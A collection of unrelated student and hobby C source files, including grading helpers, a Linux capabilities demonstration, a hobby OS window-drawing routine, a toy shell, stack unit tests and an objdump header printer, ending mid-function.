/* * Roman Hargrave, ***REMOVED*** * No License Declared * * Provides mathematics and array applications specific to the grading process */ #ifndef _H_GRADING #define _H_GRADING #include "models/models.h" // Begin Header "grading.h" -------------------------------------------------------------------------------------------- // ---- List Applications ---------------------------------------------------------------------------------------------- /* * Apply a grading function to a grade array. */ int GradeArray_sum(grade[], size); /* * Calculate the average grade in a grade array */ float GradeArray_average(grade[], size); /* * Helper method that flattens the grade matrix of a student and averages that student's grades */ float Student_averageGrade(Student* student); /* * Helper method that collects the course grades for every enrolled student and performs an average * across the flattened arrays. */ float Course_averageGrade(Course* course); /* * Find the smallest grade in a grade array */ grade GradeArray_smallest(grade[], size); /* * Find the largest grade in a grade array */ grade GradeArray_largest(grade[], size); // ---- Enrollment Records --------------------------------------------------------------------------------------------- grade Enrollment_addGrade(StudentEnrollment* enrollment, grade newGrade); bool Enrollment_removeGrade(StudentEnrollment* enrollment, size index); float Enrollment_average(StudentEnrollment* enrollment); // End Header "grading.h" ---------------------------------------------------------------------------------------------- #endif
C
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/capability.h> #include <signal.h> #include "../common.h" uid_t saved_ruid; static void boing(int sig) { printf("*(boing!)*\n"); } static void usage(char **argv, int stat) { fprintf(stderr, "Usage: %s 1|2\n" " 1 : add just one capability - CAP_SETUID\n" " 2 : add two capabilities - CAP_SETUID and CAP_SYS_ADMIN\n" "Tip: run it in the background so that capsets can be looked up\n", argv[0]); exit(stat); } static void test_setuid(void) { printf("%s:\nRUID = %d EUID = %d\n", __FUNCTION__, getuid(), geteuid()); if (setreuid(0, 0) == -1) WARN("setreuid(0) failed...\n"); printf("RUID = %d EUID = %d\n", getuid(), geteuid()); system("apt-get check"); } static void drop_caps_be_normal(void) { cap_t none; /* Become your normal true self again! */ if (setreuid(saved_ruid, saved_ruid) < 0) FATAL("setreuid to lower privileges failed, aborting..\n"); /* cap_init() guarantees all caps are cleared */ if ((none = cap_init()) == NULL) FATAL("cap_init() failed, aborting...\n"); if (cap_set_proc(none) == -1) { cap_free(none); FATAL("cap_set_proc('none') failed, aborting...\n"); } cap_free(none); } int main(int argc, char *argv[]) { int opt, ncap; cap_t mycaps; cap_value_t caps2set[2]; saved_ruid = getuid(); if (argc < 2) { usage(argv, EXIT_FAILURE); } opt = atoi(argv[1]); if (opt != 1 && opt != 2) { usage(argv, EXIT_FAILURE); } /* Simple signal handling for the pause... */ if (signal(SIGINT, boing) == SIG_ERR) FATAL("signal() SIGINT failed, aborting...\n"); if (signal(SIGTERM, boing) == SIG_ERR) FATAL("signal() SIGTERM failed, aborting...\n"); //--- Set the required capabilities in the Thread Eff capset mycaps = cap_get_proc(); if (!mycaps) { FATAL("cap_get_proc() for CAP_SETUID failed, aborting...\n"); } if (opt == 1) { ncap = 1; caps2set[0] = CAP_SETUID; } else if (opt == 2) { ncap = 2; caps2set[1] = CAP_SYS_ADMIN; } if (cap_set_flag(mycaps, CAP_EFFECTIVE, ncap, caps2set, CAP_SET) == -1) { cap_free(mycaps); FATAL("cap_set_flag() failed, aborting...\n"); } /* For option 1, we need to explicitly CLEAR the CAP_SYS_ADMIN capability; * this is because, if we don't, it's still there as it's a file capability * embedded into the binary, thus becoming part of the process Eff+Prm * capsets. Once cleared, it only shows up only in the Prm and not in * the Eff capset! */ if (opt == 1) { caps2set[0] = CAP_SYS_ADMIN; if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, caps2set, CAP_CLEAR) == -1) { cap_free(mycaps); FATAL("cap_set_flag(clear CAP_SYS_ADMIN) failed, aborting...\n"); } } /* Have the caps take effect on the process. * Without sudo(8) or file capabilities, it fails - as expected. * But, we have set the file caps to CAP_SETUID (in the Makefile), * thus the process gets that capability in it's effective and * permitted capsets (as we do a '+ep'; see below): * sudo setcap cap_setuid,cap_sys_admin+ep ./set_pcap */ if (cap_set_proc(mycaps) == -1) { cap_free(mycaps); FATAL("cap_set_proc(CAP_SETUID/CAP_SYS_ADMIN) failed, aborting...\n", (opt == 1 ? "CAP_SETUID" : "CAP_SETUID,CAP_SYS_ADMIN")); } if (opt == 1) { printf("PID %6d now has CAP_SETUID capability.\n", getpid()); } else if (opt == 2) { printf("PID %6d now has CAP_SETUID,CAP_SYS_ADMIN capability.\n", getpid()); } printf("Pausing #1 ...\n"); pause(); test_setuid(); cap_free(mycaps); printf("Now dropping all capabilities and reverting to original self...\n"); drop_caps_be_normal(); test_setuid(); printf("Pasuing #2 ...\n"); pause(); printf("...done, exiting.\n"); exit(EXIT_SUCCESS); }
C
#include <stdio.h> int main(int argc, char *argv[]) { int nums[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; int *cur_num = nums; int len_nums = sizeof(nums) / sizeof(int); for(int i=0; i<len_nums; i++) { printf("\nums[] lives at %p\n", &nums); printf("*cur_num lives at %p\n", &*cur_num); printf("\nPointer *cur_num is pointing to %d\n", cur_num[i]); printf("The address *cur_num is pointing to: %p\n", &cur_num[i]); printf("Which is the same as %p\n", &nums[i]); } return 0; }
C
/* Window֌W */ #include "bootpack.h" void make_window8(unsigned char *buf, int xsize, int ysize, char *title, int icon, char act) { boxfill8(buf, xsize, COL8_C6C6C6, 0 , 0 , xsize-2, 0 ); // 㔖DF boxfill8(buf, xsize, COL8_C6C6C6, 0 , 0 , 0, ysize-2); // DF boxfill8(buf, xsize, COL8_FFFFFF, 1 , 1 , xsize-2, 1 ); // 㔒F boxfill8(buf, xsize, COL8_FFFFFF, 1 , 1 , 1, ysize-2); // F boxfill8(buf, xsize, COL8_C6C6C6, 2 , 2 , xsize-3, ysize-3); // DFiEBhE{́j boxfill8(buf, xsize, COL8_848484, xsize-2, 1 , xsize-2, ysize-2); // EZDF boxfill8(buf, xsize, COL8_848484, 1 , ysize-2, xsize-2, ysize-2); // ZDF boxfill8(buf, xsize, COL8_000000, xsize-1, 0 , xsize-1, ysize-1); // EF boxfill8(buf, xsize, COL8_000000, 0 , ysize-1, xsize-1, ysize-1); // F make_wtitle8(buf, xsize, title, icon, act); return; } void make_wtitle8(unsigned char *buf, int xsize, char *title, int icon, char act) { struct TASK *task = task_now(); static unsigned char closebtn[14 * 15] = { 0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0x07,0x07,0xF1,0xF1,0xF1,0x07,0x07,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0x07,0x07,0xF1,0x07,0x07,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0x07,0x07,0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0x07,0x07,0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0x07,0x07,0xF1,0x07,0x07,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0x07,0x07,0xF1,0xF1,0xF1,0x07,0x07,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0xF1,0x07, 0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07,0x07 }; char tc, tbc, oldlang; unsigned char logo[3]; if (act) { tc = COL8_FFFFFF; tbc = COL8_0080FF; } else { tc = COL8_C6C6C6; tbc = COL8_848484; } boxfill8(buf, xsize, tbc, 3, 3, xsize-4, 20); // ^Cgo[ logo[0] = 0x80 + icon * 2; logo[1] = 0x81 + icon * 2; logo[2] = 0; /* xlangmode0ɂĊG` */ oldlang = task->langmode; task->langmode = 0; putfonts8(buf, xsize, 8, 4, tc, logo); task->langmode = oldlang; putfonts8(buf, xsize, 24, 4, tc, title); picdata8(buf, xsize, closebtn, 15, 14, COL8_0080FF, xsize - 20, 5); return; } void make_textbox8(struct SHEET *sht, int x0, int y0, int sx, int sy, int c) { int x1 = x0 + sx, y1 = y0 + sy; boxfill8(sht->buf, sht->bxsize, COL8_848484, x0 - 2, y0 - 3, x1 + 1, y0 - 3); boxfill8(sht->buf, sht->bxsize, COL8_848484, x0 - 3, y0 - 3, x0 - 3, y1 + 1); boxfill8(sht->buf, sht->bxsize, COL8_FFFFFF, x0 - 3, y1 + 2, x1 + 1, y1 + 2); boxfill8(sht->buf, sht->bxsize, COL8_FFFFFF, x1 + 2, y0 - 3, x1 + 2, y1 + 2); boxfill8(sht->buf, sht->bxsize, COL8_000000, x0 - 1, y0 - 2, x1 + 0, y0 - 2); boxfill8(sht->buf, sht->bxsize, COL8_000000, x0 - 2, y0 - 2, x0 - 2, y1 + 0); boxfill8(sht->buf, sht->bxsize, COL8_C6C6C6, x0 - 2, y1 + 1, x1 + 0, y1 + 1); boxfill8(sht->buf, sht->bxsize, COL8_C6C6C6, x1 + 1, y0 - 2, x1 + 1, y1 + 1); boxfill8(sht->buf, sht->bxsize, c, x0 - 1, y0 - 1, x1 + 0, y1 + 0); return; } void putfonts8_asc_sht(struct SHEET *sht, int x, int y, int c, int b, char *s, int l) { struct TASK *task = task_now(); boxfill8(sht->buf, sht->bxsize, b, x, y, x + l * 8 - 1, y + 15); if (task->langmode != 0 && task->langbyte1 != 0) { putfonts8(sht->buf, sht->bxsize, x, y, c, s); sheet_refresh(sht, x - 8, y, x + l * 8, y + 16); } else { putfonts8(sht->buf, sht->bxsize, x, y, c, s); sheet_refresh(sht, x, y, x + l * 8, y + 16); } return; } void change_wtitle8(struct SHEET *sht, int act) { int x, y, xsize = sht->bxsize; char c, tc[2], tbc[2], *buf = sht->buf; tc[0] = COL8_C6C6C6; // ANeBu tbc[0] = COL8_848484; tc[1] = COL8_FFFFFF; // ANeBu tbc[1] = COL8_0080FF; for (y = 3; y < 21; y++) { for (x = 3; x < xsize - 3; x++) { c = buf[y * xsize + x]; if (c == tc[1 - act]) { c = tc[act]; } else if (c == tbc[1 - act]) { c = tbc[act]; } buf[y * xsize + x] = c; } } sheet_refresh(sht, 3, 3, xsize, 21); return; } void make_balloon8(unsigned char *buf, int xsize, int ysize, int bc) { static unsigned char leftup[5 * 5] = { 0x0e, 0x0e, 0x0e, 0x00, 0x00, 0x0e, 0x0e, 0x00, 0x07, 0x07, 0x0e, 0x00, 0x07, 0x07, 0x07, 0x00, 0x07, 0x07, 0x07, 0x07, 0x00, 0x07, 0x07, 0x07, 0x07, }; static unsigned char rightup[5 * 5] = { 0x00, 0x00, 0x0e, 0x0e, 0x0e, 0x07, 0x07, 0x00, 0x0e, 0x0e, 0x07, 0x07, 0x07, 0x00, 0x0e, 0x07, 0x07, 0x07, 0x07, 0x00, 0x07, 0x07, 0x07, 0x07, 0x00, }; static unsigned char leftbtm[5 * 5] = { 0x00, 0x07, 0x07, 0x07, 0x07, 0x00, 0x07, 0x07, 0x07, 0x07, 0x0e, 0x00, 0x07, 0x07, 0x07, 0x0e, 0x0e, 0x00, 0x07, 0x07, 0x0e, 0x0e, 0x0e, 0x00, 0x00, }; static unsigned char rightbtm[5 * 5] = { 0x07, 0x07, 0x07, 0x07, 0x00, 0x07, 0x07, 0x07, 0x07, 0x00, 0x07, 0x07, 0x07, 0x00, 0x0e, 0x07, 0x07, 0x00, 0x0e, 0x0e, 0x00, 0x00, 0x0e, 0x0e, 0x0e, }; static unsigned char fukidashi[9 * 7] = { 0x07, 0x07, 0x07, 0x07, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x07, 0x07, 0x00, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x00, 0x07, 0x07, 0x07, 0x00, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x00, 0x00, 0x07, 0x00, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x00, 0x07, 0x00, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x00, 0x00, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x0e, 0x00, }; boxfill8(buf, xsize, COL8_000000, 0, 0, xsize-1, ysize-10); // FS boxfill8(buf, xsize, COL8_FFFFFF, 1, 1, xsize-2, ysize-9); // F boxfill8(buf, xsize, bc, 0, ysize-7, xsize-1, ysize-1); // ߐF picdata8(buf, xsize, leftup, 5, 5, -1, 0, 0); picdata8(buf, xsize, rightup, 5, 5, -1, xsize - 5, 0); picdata8(buf, xsize, leftbtm, 5, 5, -1, 0, ysize - 12); picdata8(buf, xsize, rightbtm, 5, 5, -1, xsize - 5, ysize - 12); picdata8(buf, xsize, fukidashi, 9, 7, -1, xsize - 40, ysize - 8); return; } void putminifonts8_asc_sht(struct SHEET *sht, int x, int y, int c, int b, char *s, int l) { boxfill8(sht->buf, sht->bxsize, b, x, y, x + l * 6 - 1, y + 11); putminifonts8(sht->buf, sht->bxsize, x, y, c, s); sheet_refresh(sht, x, y, x + l * 6, y + 12); return; }
C
#include<stdio.h> #include<error.h> #include<dirent.h> int main(int argc,char *argv[]) { DIR *dp; struct dirent *dirp; dp=opendir(argv[1]); dirp=readdir(dp); while(dirp!=NULL) printf("%s\n",dirp->d_name); }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* json_validate_polygon.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: pkolomiy <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/10/14 00:05:00 by pkolomiy #+# #+# */ /* Updated: 2017/10/14 00:05:00 by pkolomiy ### ########.fr */ /* */ /* ************************************************************************** */ #include "rtv.h" static inline char *vertex_index(cJSON *tmp[], t_polygon *p, int vx_size) { cJSON *obj; !(p->vx = (t_vect*)malloc(sizeof(t_vect) * vx_size)) ? malloc_error() : 0; VAR_INT(i, -1); while (++i < vx_size) if (validate_vector(cJSON_GetArrayItem(tmp[1], i), &p->vx[i])) return ("Invalid Polygon \"Vertex\" value."); VAR_INT(index_size, 0); if (tmp[2]->type != cJSON_Array || (index_size = cJSON_GetArraySize(tmp[2])) != (p->faces * 3)) return ("Invalid Polygon \"Index\" array."); !(p->index = (int*)malloc(sizeof(int) * index_size)) ? malloc_error() : 0; i = -1; while (++i < index_size) if (!(obj = cJSON_GetArrayItem(tmp[2], i)) || obj->type != cJSON_Number || (p->index[i] = obj->valueint) < 0 || p->index[i] >= vx_size) return ("Invalid Polygon \"Index\" value."); i = p->faces; while (--i != -1) if (p->index[i * 3] == p->index[i * 3 + 1] || p->index[i * 3] == p->index[i * 3 + 2] || p->index[i * 3 + 1] == p->index[i * 3 + 2]) return ("Invalid Polygon \"Index\" number."); return (0); } static inline void creating_polygon_normals(t_polygon *p) { int i; t_triangle tr; i = 0; while (i < p->faces) { tr.a = p->vx[p->index[i * 3]]; tr.b = p->vx[p->index[i * 3 + 1]]; tr.c = p->vx[p->index[i * 3 + 2]]; tr.v0 = vector_substract(&tr.b, &tr.a); tr.v1 = vector_substract(&tr.c, &tr.a); p->norm[i] = vector_cross_product(&tr.v0, &tr.v1); p->norm[i] = normalize_vector(&p->norm[i]); i++; } } static inline char *color(cJSON *tmp[], t_polygon *p) { cJSON *obj; if (!(p->col = (t_color*)malloc(sizeof(t_color) * p->faces))) malloc_error(); if (tmp[3]->type != cJSON_Array || cJSON_GetArraySize(tmp[3]) != p->faces) return ("Invalid Polygon \"Color\" array."); VAR_INT(i, p->faces); while (--i != -1) { if (!(obj = cJSON_GetArrayItem(tmp[3], i)) || !valid_hex(obj->valuestring)) return ("Invalid Polygon \"Color\" value."); p->col[i] = create_color(obj->valuestring); } return (0); } char *validate_polygon(cJSON *tmp[], t_figure *figure) { t_polygon *p; char *str; VAR_INT(vx_size, 0); if (!(p = (t_polygon*)malloc(sizeof(t_polygon)))) malloc_error(); if (tmp[0]->type != cJSON_Number || (p->faces = tmp[0]->valueint) < 1) return ("Invalid Polygon \"Faces\" value."); if (tmp[1]->type != cJSON_Array || (vx_size = cJSON_GetArraySize(tmp[1])) < 3) return ("Invalid Polygon \"Vertex\" array."); if ((str = vertex_index(tmp, p, vx_size))) return (str); if (!(p->norm = (t_vect*)malloc(sizeof(t_vect) * p->faces))) malloc_error(); creating_polygon_normals(p); if ((str = color(tmp, p))) return (str); figure->intersection_object = &intersection_polygon; figure->norm_vector = &polygon_norm_vector; figure->object = (void*)p; return (0); }
C
void my_putnbr_base_ld(long int nb, char *base) { long int resultat; long int div; int t_base; t_base = my_strlen(base); if (nb < 0) { my_putchar('-'); nb = -nb; } div = 1; while ((nb / div) >= t_base) div = div * t_base; while (div > 0) { resultat = (nb / div) % t_base; div = div / t_base; my_putchar(base[resultat]); } }
C
#include <limits.h> #include "CUnit/Basic.h" #include "l_stack.h" #include "l_stackTest.h" void linn_testPushAndPopOneInteger() { // ARRANGE int expectedValue = 123; l_Stack *stack = createStack(); // ACT push(expectedValue, stack); int actualValue = peek(stack); // ASSERT CU_ASSERT_EQUAL(actualValue, expectedValue); deleteStack(stack); } void linn_testPushAndPopMultipleIntegers() { // ARRANGE int expectedValues[] = { 0, -2 }; int actualValues[2]; l_Stack *stack = createStack(); // ACT push(expectedValues[0], stack); push(expectedValues[1], stack); actualValues[1] = pop(stack); actualValues[0] = pop(stack); // ASSERT CU_ASSERT_EQUAL(actualValues[0], expectedValues[0]); CU_ASSERT_EQUAL(actualValues[1], expectedValues[1]); deleteStack(stack); } void linn_testResusesSameSlotAfterPop() { // ARRANGE l_Stack *stack = createStack(); int expectedSize = 0; // ACT push(0, stack); pop(stack); int actualSize = getSize(stack); // ASSERT CU_ASSERT_EQUAL(actualSize, expectedSize); deleteStack(stack); } void linn_testReturnsIntMinWhenPopingEmptyStack() { // ARRANGE int expectedValue = INT_MIN; l_Stack *stack = createStack(); // ACT int actualValue = pop(stack); // ASSERT CU_ASSERT_EQUAL(actualValue, expectedValue); deleteStack(stack); } void linn_testPushingIntoFullStackReturnsZero() { // ARRANGE int expectedResult = 0; int expectedSize = SIZE; l_Stack *stack = createStack(); for (int i = 0; i < SIZE; i++) { push(0, stack); } // ACT int actualResult = push(0, stack); int actualSize = getSize(stack); // ASSERT CU_ASSERT_EQUAL(actualResult, expectedResult); CU_ASSERT_EQUAL(actualSize, expectedSize); deleteStack(stack); } void linn_testPushToNullStackReturnsError() { // ARRANGE int expectedResult = INT_MIN; l_Stack *stack = NULL; // ACT int actualResult = push(0, stack); // ASSERT CU_ASSERT_EQUAL(actualResult, expectedResult); } void linn_testPopFromNullStackReturnsError() { // ARRANGE int expectedResult = INT_MIN; l_Stack *stack = NULL; // ARRANGE int actualResult = pop(stack); // ASSERT CU_ASSERT_EQUAL(actualResult, expectedResult); }
C
/** * \file Reader for NIfTI-1 format files. */ #include <internal_volume_io.h> #include <volume_io/basic.h> #include <volume_io/volume.h> /** * Initializes loading a NIfTI-1 format file by reading the header. * This function assumes that volume->filename has been assigned. * * \param filename The filename to open for input. * \param volume The volume that will ultimately hold the input data. * \param in_ptr State information for the current input operation. * \return VIO_OK if successful. */ VIOAPI VIO_Status initialize_nifti_format_input(VIO_STR filename, VIO_Volume volume, volume_input_struct *in_ptr); /** * Dispose of the resources used to read a NIfTI-1 file. * \param in_ptr The volume_input_struct that is to be deleted. */ VIOAPI void delete_nifti_format_input( volume_input_struct *in_ptr ); /** * Read the next slice of an NIfTI-1 format file. * \param volume The volume associated with this input operation. * \param in_ptr State information for the current input operation. * \param fraction_done A number from 0 to 1 indicating the fraction * of the operation that has completed after this call returns. * \return TRUE if successful. */ VIOAPI VIO_BOOL input_more_nifti_format_file( VIO_Volume volume, volume_input_struct *in_ptr, VIO_Real *fraction_done );
C
#include<stdio.h> void main() { int i,j; for(i=1;i<6;i++) {for(j=0;j<i;j++) {if(i%2!=0) { printf("%d ",1+(2*j)); } else printf("%d ",2+(2*j)); }printf("\n"); } }
C
#include <bits/stdc++.h> using namespace std; int main(){ int vertex,origin,dest,choice; char type; cout<<"Type 'U' for undirected graph and 'D' for directed graph "; cin>>type; cout<<endl; cout<<"Enter no of vertices "; cin>>vertex; cout<<endl; int count=0,adjmat[vertex][vertex]; if(count==0) { for(int i=0;i<vertex;i++){ for(int j=0;j<vertex;j++) adjmat[i][j]=0; } count++; } do{ cout<<"Enter 1 to insert a edge "<<endl; cout<<"Enter 2 to delete a edge "<<endl; cout<<"Enter 3 to quit "<<endl; cout<<"Enter your choice "; cin>>choice; switch(choice) { case 1: cout<<"Enter origin and destination of edge to be inserted"<<endl; cin>>origin>>dest; if(type=='D') adjmat[origin-1][dest-1]=1; else { adjmat[dest-1][origin-1]=1; adjmat[origin-1][dest-1]=1; } break; case 2: cout<<"Enter origin and destination of edge to be deleted "<<endl; cin>>origin>>dest; if(type=='D') adjmat[origin-1][dest-1]=0; else { adjmat[dest-1][origin-1]=0; adjmat[origin-1][dest-1]=0; } break; case 3: cout<<"Thank you "<<endl; break; default: cout<<"Enter a valid choice "<<endl; break; } }while(choice!=3); for(int i=0;i<vertex;i++){ for(int j=0;j<vertex;j++) cout<<adjmat[i][j]<<" "; cout<<endl; } return 0; }
C
#include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <stdio.h> #include<readline/readline.h> #import<readline/history.h> #include <string.h> #include <stdlib.h> #include <dirent.h> #include <errno.h> #include <unistd.h> #include <ctype.h> const int max_history_size = 5; char *history[max_history_size]; int history_count=0; int total_history_count=0; // ## Initialise the terminal by clearing screen and a brain map void design(){ system("clear"); printf(" __,--\"\"\"\"\"\"\"\"\"--,.\n"); printf(" _ -\'\" _\\ ^-,_\n"); printf(" ,-\" _/ \\_\n"); printf(" ,' /_ | \\\n"); printf(" ,\' /_ | \\\n"); printf(" / _____,--\"\"\" / ) \\\n"); printf(" / / / ( |\n"); printf("| / / ) |\n"); printf("| / | \\\n"); printf("( (_/\\ ) / \\\n"); printf(" \\ \\_ ____,====\"\"\" / |\n"); printf(" \\ /\" /\"\" |\n"); printf(" \\_ _,-\" |___,-\'--------\'\" |\n"); printf(" \"`------\"\" --\" ,-\' /\n"); printf(" / ---\" /\n"); printf(" \\___/ __,-----,___ )\n"); printf(" \\ ,--\'\"============\"\"\"\"-\'\"\\\n"); printf(" \"-\'\" | |=================/\n"); printf(" /___\\===============/\n"); printf(" / |=============/\"\n"); printf(" \\ \\_________,-\"\n"); printf(" | |\n"); printf(" | | \n"); printf("\n\n"); printf(" *************** ATTENTION ****************\n"); printf(" ******************************************\n"); printf(" *******This is Sharut's Bash Shell *******\n"); printf(" ******************************************\n"); printf(" ******************************************\n"); printf("\n\n"); } // ## Function to replace a word (keyword) in the given phrase char* replaceWord(char* phrase, char* key, char* replace) { char* result; result = (char*)malloc(100); int counter = 0; while (*phrase) { if (strstr(phrase, key) == phrase) { strcpy(&result[counter], replace); phrase += strlen(key); counter += strlen(replace); } else result[counter++] = *phrase++; } result[counter] = '\0'; return result; } // ## Function to add a command to history void add_to_history(char* command){ //# Add to the array if current history length < max_history_size if(history_count < max_history_size){ history[history_count] = command; history_count++; total_history_count = history_count; } //# Shift all elements of the array to left by 1 step and append the new command else{ for(int i=1;i<max_history_size;i++){ history[i-1] = history[i]; } history[history_count-1]=command; total_history_count++; } } //## Function to print history void print_history(){ for(int i=0;i<history_count;i++){ if(total_history_count>5) printf("%d %s\n", total_history_count - max_history_size + 1 + i, history[i]); else printf("%d %s\n", i+1, history[i]); } } //## Function to implement change director command void change_directory(char* initial_dir, char** path, char** parsed){ //# Check if user didn't enter any directory if(parsed[1]==NULL){ printf("cd: Please enter name of a directory !\n"); return; } char pwd[2000]; //# Get path of the current working directory getcwd(pwd, sizeof(pwd)); char* path_with_space; //# Check if the directory entered by user doesn't exist DIR *dr = opendir(replaceWord(parsed[1], "~", pwd)); if (dr) closedir(dr); else if (dr == NULL){ printf("cd: No such file or directory: %s\n", parsed[1]); return; } //# Change directory chdir(replaceWord(parsed[1], "~", initial_dir)); getcwd(pwd, sizeof(pwd)); *path = replaceWord(pwd, initial_dir, "MTL458:~"); return; } // ## Function to print path of the current working directory void present_directory(char* initial_dir){ char pwd[2000]; char* path; getcwd(pwd, sizeof(pwd)); path = replaceWord(pwd , initial_dir, "~"); printf("%s\n", path); } // ## In-build command execution function void basic_commands(char** parsed){ int rc = fork(); if (rc < 0) { printf("Fork Failed \n"); return; } else if (rc == 0){ if (execvp(parsed[0], parsed) < 0) { printf("Couldn't execute command\n"); exit(1); // If execvp fails, the child process will continue onward. Hence the child will process the next command, rather than the parent. } return; } else wait(NULL); return; } char** read_input(char* initial_dir, char** path, char *str, char** parsed){ int i, index, flag=0, quote_count = 0, curr_ind=0; char* spaced_path; for (i = 0; i < 1000; i++) { spaced_path = malloc(100*sizeof(char)); flag=0; quote_count=0; if(str == NULL || strlen(str) == 0){ parsed[i]=NULL; break;} //# parse the string and maintain a count of " so far. If count = 0, break on space //# Whenever count is even, break on space else do not break if (str[0] != '\0') { for(index=0; index < strlen(str); index++){ if(str[index]=='\"'){ flag=1; quote_count = 1 - quote_count;} if(flag){ if(isspace(str[index]) && !quote_count){ break;}} else{ if(isspace(str[index])) {break;}} } curr_ind = 0; for(int j=0;j<index; j++){ if(str[j]=='\"') curr_ind--; else spaced_path[curr_ind] = str[j]; curr_ind++; } spaced_path[curr_ind] = '\0'; parsed[i] = spaced_path; str = str + index+1; } if (parsed[i] == NULL) break; } // # Implement CD Command if(strcmp(parsed[0],"cd")==0){ change_directory(initial_dir, path, parsed); } // # Implement PWD Command else if(strcmp(parsed[0],"pwd")==0) present_directory(initial_dir); // # Implement EXIT Command else if(strcmp(parsed[0],"exit")==0){ printf("See you later...\n"); exit(0); } // # Implement HISTORY Command else if(strcmp(parsed[0],"history")==0){ print_history(); add_to_history("history"); } // # Implement CLEAR Command else if(strcmp(parsed[0],"clear")==0) system("clear"); else basic_commands(parsed); return parsed; } int main(void) { char initial_dir[2000]; getcwd(initial_dir, sizeof(initial_dir)); char* input, *parsedArgs[1000]; char** separated_args; char *path = "MTL458:~"; design(); while(1){ printf("%s$ ", path); input = readline(""); if(strlen(input)==0) continue; //## Accept input command of length less than equal to 128. Maximumlimit of readline() is 256 characters. else if(strlen(input)>128){ printf("Error: Exceeding input buffer length (128 characters) !\n"); continue; } //## Add the command "history" to history, after displaying history if(strcmp(input, "history")) add_to_history(strdup(input)); read_input(initial_dir, &path, input, parsedArgs); } return 0; }
C
#include <stdio.h> #include <math.h> #include <stdlib.h> #include "radical.h" #include "struct.h" int main (int argc, char *argv[]) { if (argc < 4) { printf ("Input a, b, c : (ax^2 + bx + c)\n"); return EXIT_FAILURE; } int flg = 0; radix *data; data = (radix *) malloc(sizeof(radix)); data->a = atoi(argv[1]); data->b = atoi(argv[2]); data->c = atoi(argv[3]); data->x1 = 0; data->x2 = 0; radical(data, &flg); if (flg != 0) { printf ("no solutions!\n"); return EXIT_FAILURE; } printf ("x1 = %.2f x2 = %.2f\n", data->x1, data->x2); return EXIT_SUCCESS; }
C
#include <stdio.h> #include "strlib.h" void check_compare (char* a, char* b) { if (!my_strcmp (a, b)) { printf ("Strings match!\n"); } else { printf ("Strings DON'T match!\n"); } } int main (int argc, char** argv) { char foo[] = "Foo"; char empty[] = ""; char str1[] = "ECE Programmers are the best!"; char str2[] = "ECE Programmers are the best!"; printf ("lenfth of foo: %i\n", my_strlen(foo)); printf ("length of empty: %i\n", my_strlen(empty)); printf ("length of str1: %i\n", my_strlen(str1)); printf ("length of str2: %i\n", my_strlen(str2)); printf ("--------------------------\n"); printf ("Compareing foo to empty: "); check_compare (foo, empty); printf("Comparing str1 to str2: "); check_compare (str1, str2); return 0; }
C
/* ** EPITECH PROJECT, 2019 ** objdump ** File description: ** header.c */ #include "objdump.h" int get_flags(elf_t *elf) { int flags = 0; switch(elf->ehdr->e_type) { case 1: printf("HAS_RELOC, "); flags++; break; case 2: printf("EXEC_P, "); flags++; break; case 3: printf("HAS_SYMS, DYNAMIC, "); flags++; break; } for (int i = 0; i < elf->ehdr->e_shnum; i++) if (elf->shdr[i].sh_type == SHT_SYMTAB && elf->ehdr->e_type != 3) { printf("HAS_SYMS, "); flags++; } if (elf->ehdr->e_phnum > 0){ printf("D_PAGED "); flags++; } return (flags); } char *get_machine_type(elf_t *elf, char *archi) { switch(elf->ehdr->e_machine){ case 0: archi = NONE; break; case 1: archi = M32; break; case 2: archi = I80386; break; case 3: archi = M68K; break; case 4: archi = M88K; break; case 7: archi = I80860; break; case 8: archi = MRS; break; case 15: archi = HPPA; break; case 20: archi = PPC; break; case 21: archi = PPC64; break; case 22: archi = IBMS390; break; case 40: archi = ARM; break; case 42: archi = RSH; break; case 43: archi = SV9; break; case 50: archi = IA64; break; case 75: archi = VAX; break; default: archi = X8664; break; } return (archi); } void write_header(elf_t *elf) { char *archi = get_machine_type(elf, archi); printf("\n%s: file format %s\n", elf->file, FF); printf("architecture: %s, flags 0x%08x:\n", 